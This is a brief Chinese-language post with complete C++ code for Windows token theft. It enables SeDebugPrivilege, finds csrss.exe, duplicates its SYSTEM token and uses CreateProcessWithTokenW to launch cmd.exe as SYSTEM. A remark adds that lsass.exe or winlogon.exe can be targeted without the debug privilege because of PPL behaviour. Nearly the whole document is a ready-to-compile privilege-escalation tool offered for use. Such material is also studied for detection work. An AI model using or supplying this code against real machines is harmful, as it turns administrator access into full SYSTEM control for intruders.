管理员权限运行 -> 进程提权至Debug -> OpenProcess(“csrss.exe”) -> OpenProcessToken -> DuplicateToken -> CreateProcessWithToken
如果想要复制的令牌目标进程是lsass.exe或者winlogon.exe可以不用提权至Debug,这与系统的PPL保护机制有关。
为了方便我使用了phnt.h,你可以自己手动typedef代码中出现的几个Zw*函数。
#include <iostream>
#include <phnt_windows.h>
#include <phnt.h>
#pragma comment(lib, "ntdll.lib")
#pragma comment(lib, "Kernel32.lib")
#define PHNT_VERSION PHNT_WINDOWS_11 // Windows 11
int main()
{
HANDLE hCurrentToken;
ZwOpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hCurrentToken);
LUID luid;
LookupPrivilegeValueA(NULL, "SeDebugPrivilege", &luid);
TOKEN_PRIVILEGES PrivToken;
PrivToken.PrivilegeCount = 1;
PrivToken.Privileges[0].Luid = luid;
PrivToken.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hCurrentToken, FALSE, &PrivToken, sizeof(TOKEN_PRIVILEGES), NULL, NULL);
ULONG bufferSize;
PVOID buffer;
NTSTATUS status = ZwQuerySystemInformation(SystemProcessInformation, nullptr, 0, &bufferSize);
//if (!NT_SUCCESS(status)) {
// std::cerr << "error" << std::endl;
//}
buffer = malloc(bufferSize * 2);
status = ZwQuerySystemInformation(SystemProcessInformation, buffer, bufferSize * 2, nullptr);
//if (!NT_SUCCESS(status)) {
// std::cerr << "error" << std::endl;
//}
PSYSTEM_PROCESS_INFORMATION sysInfo = reinterpret_cast<PSYSTEM_PROCESS_INFORMATION> (buffer);
//free(buffer);
std::wstring processName;
ULONG processPid;
while (true) {
if (sysInfo->ImageName.Buffer) {
processName = sysInfo->ImageName.Buffer;
}
if (processName == L"csrss.exe") {
processPid = HandleToULong(sysInfo->UniqueProcessId);
break;
}
//if (sysInfo->NextEntryOffset == 0) {
// std::cerr << "lsass.exe not found!" << std::endl;
// break;
//}
sysInfo = reinterpret_cast<PSYSTEM_PROCESS_INFORMATION>((PUCHAR)sysInfo + sysInfo->NextEntryOffset);
}
HANDLE hProcess;
OBJECT_ATTRIBUTES obj;
InitializeObjectAttributes(&obj, NULL, NULL, NULL, NULL);
CLIENT_ID client_id = {};
client_id.UniqueProcess = ULongToHandle(processPid);
status = ZwOpenProcess(&hProcess, PROCESS_QUERY_LIMITED_INFORMATION, &obj, &client_id);
//if (!NT_SUCCESS(status)) {
// std::cerr << "ZwOpenProcess error" << std::endl;
//}
HANDLE hToken;
status = ZwOpenProcessToken(hProcess, TOKEN_QUERY | TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY, &hToken);
//if (!NT_SUCCESS(status)) {
// std::cerr << "ZwOpenProcessToken error" << std::endl;
//}
HANDLE hDpToken;
status = ZwDuplicateToken(hToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &hDpToken);
STARTUPINFO startupInfo = { 0 };
startupInfo.cb = sizeof(STARTUPINFO);
PROCESS_INFORMATION processInfo = { 0 };
CreateProcessWithTokenW(hDpToken, LOGON_WITH_PROFILE, L"C:\\Windows\\system32\\cmd.exe",
const_cast<LPWSTR>(L"/k whoami"), 0, NULL, NULL, &startupInfo, &processInfo);
//system("pause");
CloseHandle(hDpToken);
CloseHandle(hToken);
CloseHandle(hProcess);
free(buffer);
CloseHandle(hCurrentToken);
}